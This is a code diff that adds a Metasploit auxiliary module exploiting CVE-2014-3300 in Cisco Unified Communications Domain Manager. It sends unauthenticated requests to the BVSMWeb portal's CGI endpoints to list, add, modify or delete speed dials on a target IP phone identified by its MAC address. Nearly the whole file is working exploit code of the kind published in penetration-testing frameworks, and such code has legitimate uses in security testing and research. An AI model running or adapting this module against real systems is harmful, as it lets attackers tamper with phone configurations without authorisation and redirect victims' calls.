|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rexml/document' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool', |
| 16 | + 'Description' => %q{ |
| 17 | + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager (CDM) |
| 18 | + in Unified CDM Application Software before 10 does not properly implement access control, |
| 19 | + which allows remote attackers to modify user information. This vulnerability can be exploited |
| 20 | + for unauthorised speeddial manipulation using this module. This tool can be tested with the fake |
| 21 | + voss-xmlservice component of Viproy. |
| 22 | + }, |
| 23 | + 'Author' => 'fozavci', |
| 24 | + 'References' => |
| 25 | + [ |
| 26 | + ['CVE', '2014-3300'], |
| 27 | + ['BID', '68331'], |
| 28 | + ['Viproy Fake CUCDM Service', 'https://github.com/fozavci/viproy-voipkit/raw/master/external/voss-xmlservice.rb'] |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Actions' => |
| 32 | + [ |
| 33 | + [ 'List', { |
| 34 | + 'Description' => 'Getting the speeddials for the MAC address.' |
| 35 | + } ], |
| 36 | + [ 'Modify', { |
| 37 | + 'Description' => 'Modifying a speeddial for the MAC address.' |
| 38 | + } ], |
| 39 | + [ 'Add', { |
| 40 | + 'Description' => 'Adding a speeddial for the MAC address.' |
| 41 | + } ], |
| 42 | + [ 'Delete', { |
| 43 | + 'Description' => 'Deleting a speeddial for the MAC address.' |
| 44 | + } ] |
| 45 | + ], |
| 46 | + 'DefaultAction' => 'List' |
| 47 | + ) |
| 48 | + |
| 49 | + register_options( |
| 50 | + [ |
| 51 | + Opt::RPORT(80), |
| 52 | + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), |
| 53 | + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), |
| 54 | + OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']), |
| 55 | + OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']), |
| 56 | + OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']), |
| 57 | + ], self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def run |
| 61 | + uri = normalize_uri(target_uri.to_s) |
| 62 | + mac = Rex::Text.uri_encode(datastore["MAC"]) |
| 63 | + name = Rex::Text.uri_encode(datastore["NAME"]) |
| 64 | + position = Rex::Text.uri_encode(datastore["POSITION"]) |
| 65 | + telno = Rex::Text.uri_encode(datastore["TELNO"]) |
| 66 | + |
| 67 | + |
| 68 | + case action.name.upcase |
| 69 | + when 'MODIFY' |
| 70 | + print_status("Deleting Speed Dial of the IP phone") |
| 71 | + url=uri+"/phonespeeddialdelete.cgi?entry=#{position}&device=SEP#{mac}" |
| 72 | + vprint_status("URL: "+url) |
| 73 | + status,res=send_rcv(url) |
| 74 | + if status != Exploit::CheckCode::Safe and res.body =~ /Deleted/ |
| 75 | + print_good("Speed Dial #{position} is deleted successfully") |
| 76 | + print_status("Adding Speed Dial to the IP phone") |
| 77 | + url=uri+"/phonespeedialadd.cgi?name=#{name}&telno=#{telno}&device=SEP#{mac}&entry=#{position}&mac=#{mac}" |
| 78 | + vprint_status("URL: "+url) |
| 79 | + status,res=send_rcv(url) |
| 80 | + if status != Exploit::CheckCode::Safe and res.body =~ /Added/ |
| 81 | + print_good("Speed Dial #{position} is added successfully") |
| 82 | + elsif res.body =~ /exist/ |
| 83 | + print_error("Speed Dial is exist, change the position or choose modify!") |
| 84 | + else |
| 85 | + print_error("Speed Dial couldn't add!") |
| 86 | + end |
| 87 | + else |
| 88 | + print_error("Speed Dial is not found!") |
| 89 | + end |
| 90 | + when 'DELETE' |
| 91 | + print_status("Deleting Speed Dial of the IP phone") |
| 92 | + url=uri+"/phonespeeddialdelete.cgi?entry=#{position}&device=SEP#{mac}" |
| 93 | + vprint_status("URL: "+url) |
| 94 | + status,res=send_rcv(url) |
| 95 | + if status != Exploit::CheckCode::Safe and res.body =~ /Deleted/ |
| 96 | + print_good("Speed Dial #{position} is deleted successfully") |
| 97 | + else |
| 98 | + print_error("Speed Dial is not found!") |
| 99 | + end |
| 100 | + when 'ADD' |
| 101 | + print_status("Adding Speed Dial to the IP phone") |
| 102 | + url=uri+"/phonespeedialadd.cgi?name=#{name}&telno=#{telno}&device=SEP#{mac}&entry=#{position}&mac=#{mac}" |
| 103 | + vprint_status("URL: "+url) |
| 104 | + status,res=send_rcv(url) |
| 105 | + if status != Exploit::CheckCode::Safe and res.body =~ /Added/ |
| 106 | + print_good("Speed Dial #{position} is added successfully") |
| 107 | + elsif res.body =~ /exist/ |
| 108 | + print_error("Speed Dial is exist, change the position or choose modify!") |
| 109 | + else |
| 110 | + print_error("Speed Dial couldn't add!") |
| 111 | + end |
| 112 | + else |
| 113 | + print_status("Getting Speed Dials of the IP phone") |
| 114 | + url=uri+"/speeddials.cgi?device=SEP#{mac}" |
| 115 | + vprint_status("URL: "+url) |
| 116 | + |
| 117 | + status,res=send_rcv(url) |
| 118 | + parse(res) if status != Exploit::CheckCode::Safe |
| 119 | + end |
| 120 | + |
| 121 | + end |
| 122 | + |
| 123 | + def send_rcv(uri) |
| 124 | + uri=normalize_uri(uri.to_s) |
| 125 | + res = send_request_cgi( |
| 126 | + { |
| 127 | + 'uri' => uri, |
| 128 | + 'method' => 'GET', |
| 129 | + }) |
| 130 | + if res and res.code == 200 and res.body =~ /Speed [D|d]ial/ |
| 131 | + return Exploit::CheckCode::Vulnerable,res |
| 132 | + else |
| 133 | + print_error("Target appears not vulnerable!") |
| 134 | + return Exploit::CheckCode::Safe,res |
| 135 | + end |
| 136 | + end |
| 137 | + |
| 138 | + def parse(res) |
| 139 | + doc = REXML::Document.new(res.body) |
| 140 | + names=[] |
| 141 | + phones=[] |
| 142 | + |
| 143 | + list=doc.root.get_elements("DirectoryEntry") |
| 144 | + list.each {|lst| |
| 145 | + xlist=lst.get_elements("Name") |
| 146 | + xlist.each {|l| names << "#{l[0]}"} |
| 147 | + xlist=lst.get_elements("Telephone") |
| 148 | + xlist.each {|l| phones << "#{l[0]}" } |
| 149 | + } |
| 150 | + if names.size > 0 |
| 151 | + names.size.times{|i| print_good("Position: "+names[i].split(":")[0]+"\tName: "+names[i].split(":")[1]+"\t"+"Telephone: "+phones[i])} |
| 152 | + else |
| 153 | + print_status("No Speed Dial detected") |
| 154 | + end |
| 155 | + end |
| 156 | +end |
0 commit comments